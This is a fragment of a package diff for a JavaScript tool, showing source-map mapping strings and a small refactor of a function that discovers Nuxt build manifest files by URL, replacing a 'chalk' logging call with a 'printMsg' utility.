GAAG,MAAM,IAAI,CAAC,IAAI,EAAE,CAAC;IAE/B,MAAM,SAAS,GAAG,4BAA4B,CAAC,IAAI,CAAC,CAAC;IAErD,IAAI,SAAS,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACzB,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,8BAA8B,GAAG,EAAE,CAAC,CAAC;QACvD,OAAO,UAAU,CAAC;IACtB,CAAC;IAED,+DAA+D;IAC/D,IAAI,GAAQ,CAAC;IACb,IAAI,CAAC;QACD,GAAG,GAAG,MAAM,CAAC,KAAK,CAAC,IAAI,EAAE;YACrB,UAAU,EAAE,QAAQ;YACpB,OAAO,EAAE,CAAC,KAAK,EAAE,YAAY,CAAC;YAC9B,aAAa,EAAE,IAAI;SACtB,CAAC,CAAC;IACP,CAAC;IAAC,OAAO,KAAK,EAAE,CAAC;QACb,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,8BAA8B,GAAG,EAAE,CAAC,CAAC;QACvD,OAAO,UAAU,CAAC;IACtB,CAAC;IAED,KAAK,MAAM,IAAI,IAAI,SAAS,EAAE,CAAC;QAC3B,CAAC;YACG,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,iDAAiD,CAAC,CAAC;YACrE,QAAQ,CAAC,GAAG,CAAC,IAAI,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;YAEhC,IAAI,aAAa,CAAC;YAClB,IAAI,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC;gBACpB,MAAM,0BAA0B,GAAG,GAAS,EAAE;oBAC1C,MAAM,EAAE,KAAK,EAAE,GAAG,MAAM,QAAQ,CAAC,MAAM,CAAC;wBACpC;4BACI,IAAI,EAAE,SAAS;4BACf,IAAI,EAAE,OAAO;4BACb,OAAO,EAAE,+BAA+B;4BACxC,OAAO,EAAE,IAAI;yBAChB;qBACJ,CAAC,CAAC;oBACH,OAAO,KAAK,CAAC;gBACjB,CAAC,CAAA,CAAC;gBAEF,aAAa,GAAG,MAAM,0BAA0B,EAAE,CAAC;YACvD,CAAC;iBAAM,CAAC;gBACJ,aAAa,GAAG,IAAI,CAAC;YACzB,CAAC;YACD,IAAI,aAAa,KAAK,IAAI,EAAE,CAAC;gBACzB,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,0DAA0D,CAAC,CAAC;YACrF,CAAC;iBAAM,CAAC;gBACJ,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,6BAA6B,CAAC,CAAC;gBACjD,SAAS;YACb,CAAC;YACD,oCAAoC;YACpC,8CAA8C;YAC9C,MAAM,aAAa,GAAG,MAAM,CAAC,KAAK,CAAC,IAAI,IAAI,CAAC,MAAM,GAAG,EAAE;gBACnD,UAAU,EAAE,QAAQ;gBACpB,OAAO,EAAE,CAAC,KAAK,EAAE,YAAY,CAAC;gBAC9B,aAAa,EAAE,IAAI;aACtB,CAAC,CAAC;YACH,MAAM,iBAAiB,GAAG,EAAE,CAAC;YAC7B,QAAQ,CAAC,aAAa,EAAE;gBACpB,gBAAgB,CAAC,IAAI;oBACjB,mDAAmD;oBACnD,IACI,CAAC,CAAC,YAAY,CAAC,IAAI,CAAC,IAAI,CAAC,MAAM,CAAC;wBAChC,CAAC,CAAC,YAAY,CAAC,IAAI,CAAC,IAAI,CAAC,QAAQ,CAAC;wBAClC,CAAC,IAAI,CAAC,IAAI,CAAC,QAAQ,CAAC,kBAAkB;sBACxC,CAAC;wBACC,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC;wBACtC,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC;wBACzC,iBAAiB,CAAC,IAAI,CAAC,GAAG,OAAO,IAAI,QAAQ,EAAE,CAAC,CAAC;oBACrD,CAAC;gBACL,CAAC;aACJ,CAAC,CAAC;YAEH,MAAM,UAAU,GAAG,iBAAiB,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC;YAEnD,6CAA6C;YAC7C,IAAI,eAAe,CAAC;YAEpB,QAAQ,CAAC,GAAG,EAAE;gBACV,oBAAoB,CAAC,IAAI;oBACrB,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,GAAG,IAAI,CAAC,IAAI,CAAC;oBAElC,IACI,CAAC,CAAC,kBAAkB,CAAC,IAAI,CAAC;wBAC1B,CAAC,CAAC,YAAY,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,IAAI,EAAE,UAAU,CAAC,CAAC,CAAC,EAAE,CAAC;wBACpD,CAAC,CAAC,YAAY,CAAC,IAAI,CAAC,QAAQ,EAAE;4BAC1B,IAAI,EAAE,UAAU,CAAC,CAAC,CAAC;yBACtB,CAAC;wBACF,CAAC,IAAI,CAAC,QAAQ,EAChB,CAAC;wBACC,IAAI,CAAC,CAAC,eAAe,CAAC,KAAK,CAAC,EAAE,CAAC;4BAC3B,eAAe,GAAG,KAAK,CAAC,KAAK,CAAC;wBAClC,CAAC;6BAAM,CAAC;4BACJ,6BAA6B;4BAC7B,eAAe,GAAG,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,KAAK,CAAC,KAAK,EAAE,KAAK,CAAC,GAAG,CAAC,CAAC;wBAChE,CAAC;oBACL,CAAC;gBACL,CAAC;aACJ,CAAC,CAAC;YAEH,yCAAyC;YACzC,MAAM,UAAU,GAAG,IAAI,CAAC,MAAM,CAAC,OAAO;YAClC,wKAAwK;YACxK,IAAI,MAAM,CAAC,GAAG,UAAU,CAAC,CAAC,CAAC,IAAI,UAAU,CAAC,CAAC,CAAC,EAAE,CAAC,EAC/C,IAAI,eAAe,GAAG,CACzB,CAAC;YAEF,+DAA+D;YAC/D,MAAM,cAAc,GAAG,WAAW,UAAU,MAAM,CAAC;YACnD,MAAM,QAAQ,GAAG,EAAE,CAAC;YAEpB,IAAI,CAAC;gBACD,4DAA4D;gBAC5D,MAAM,QAAQ,GAAG,UAAU,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;gBAC1C,IAAI,QAAQ,EAAE,CAAC;oBACX,+BAA+B;oBAC/B,mDAAmD;oBACnD,KAAK,MAAM,CAAC,IAAI,QAAQ,EAAE,CAAC;wBACvB,MAAM,MAAM,GAAG,QAAQ,CAAC,cAAc,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC;wBACrD,IAAI,MAAM,CAAC,QAAQ,CAAC,WAAW,CAAC,EAAE,CAAC;4BAC/B,SAAS;wBACb,CAAC;6BAAM,CAAC;4BACJ,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;wBAC1B,CAAC;oBACL,CAAC;gBACL,CAAC;YACL,CAAC;YAAC,OAAO,KAAK,EAAE,CAAC;gBACb,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,iCAAiC,KAAK,EAAE,CAAC,CAAC;YAChE,CAAC;YAED,IAAI,QAAQ,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;gBACtB,8CAA8C;gBAC9C,KAAK,MAAM,OAAO,IAAI,QAAQ,EAAE,CAAC;oBAC7B,MAAM,YAAY,GAAG,MAAM,WAAW,CAAC,GAAG,EAAE,OAAO,CAAC,CAAC;oBACrD,UAAU,CAAC,IAAI,CAAC,YAAY,CAAC,CAAC;gBAClC,CAAC;YACL,CAAC;QACL,CAAC;IACL,CAAC;IAED,IAAI,UAAU,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACxB,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,aAAa,UAAU,CAAC,MAAM,YAAY,CAAC,CAAC;IAClE,CAAC;IAED,OAAO,UAAU,CAAC;AACtB,CAAC,CAAA,CAAC;AAEF,eAAe,aAAa,CAAC"}
|
|
@@ -7,8 +7,8 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
|
|
|
7
7
|
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
8
|
});
|
|
9
9
|
};
|
|
10
|
-
import chalk from "chalk";
|
|
11
10
|
import makeRequest from "../../utility/makeReq.js";
|
|
11
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
12
12
|
/**
|
|
13
13
|
* Discovers Nuxt's build manifest JSON files.
|
|
14
14
|
*
|
|
@@ -56,7 +56,7 @@ const nuxt_getBuildsManifest = (url) => __awaiter(void 0, void 0, void 0, functi
|
|
|
56
56
|
}
|
|
57
57
|
}
|
|
58
58
|
if (found.length > 0) {
|
|
59
|
-
|
|
59
|
+
printMsg(MSG.Run, `[✓] Found ${found.length} Nuxt build manifest file(s)`);
|
|
60
60
|
}
|
|
61
61
|
return found;
|
|
62
62
|
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"nuxt_getBuildsManifest.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_getBuildsManifest.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,
|
|
1
|
+
{"version":3,"file":"nuxt_getBuildsManifest.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_getBuildsManifest.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAE1D;;;;;;;;;;;;;GAaG;AACH,MAAM,sBAAsB,GAAG,CAAO,GAAW,EAAqB,EAAE;IACpE,MAAM,MAAM,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,CAAC,MAAM,CAAC;IACnC,MAAM,SAAS,GAAG,GAAG,MAAM,2BAA2B,CAAC;IACvD,MAAM,KAAK,GAAa,EAAE,CAAC;IAE3B,IAAI,OAA2B,CAAC;IAChC,IAAI,CAAC;QACD,MAAM,GAAG,GAAG,MAAM,WAAW,CAAC,SAAS,EAAE,EAAE,CAAC,CAAC;QAC7C,IAAI,GAAG,EAAE,CAAC;YACN,MAAM,IAAI,GAAG,MAAM,GAAG,CAAC,IAAI,EAAE,CAAC;YAC9B,KAAK,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;YACtB,MAAM,MAAM,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;YAChC,IAAI,MAAM,IAAI,OAAO,MAAM,CAAC,EAAE,KAAK,QAAQ,EAAE,CAAC;gBAC1C,OAAO,GAAG,MAAM,CAAC,EAAE,CAAC;YACxB,CAAC;QACL,CAAC;IACL,CAAC;IAAC,WAAM,CAAC;QACL,kFAAkF;QAClF,OAAO,KAAK,CAAC;IACjB,CAAC;IAED,IAAI,OAAO,EAAE,CAAC;QACV,MAAM,OAAO,GAAG,GAAG,MAAM,sBAAsB,OAAO,OAAO,CAAC;QAC9D,IAAI,CAAC;YACD,MAAM,GAAG,GAAG,MAAM,WAAW,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC;YAC3C,IAAI,GAAG,EAAE,CAAC;gBACN,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;YACxB,CAAC;QACL,CAAC;QAAC,WAAM,CAAC;YACL,0BAA0B;QAC9B,CAAC;IACL,CAAC;IAED,IAAI,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACnB,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,aAAa,KAAK,CAAC,MAAM,8BAA8B,CAAC,CAAC;IAC/E,CAAC;IAED,OAAO,KAAK,CAAC;AACjB,CAAC,CAAA,CAAC;AAEF,eAAe,sBAAsB,CAAC"}
|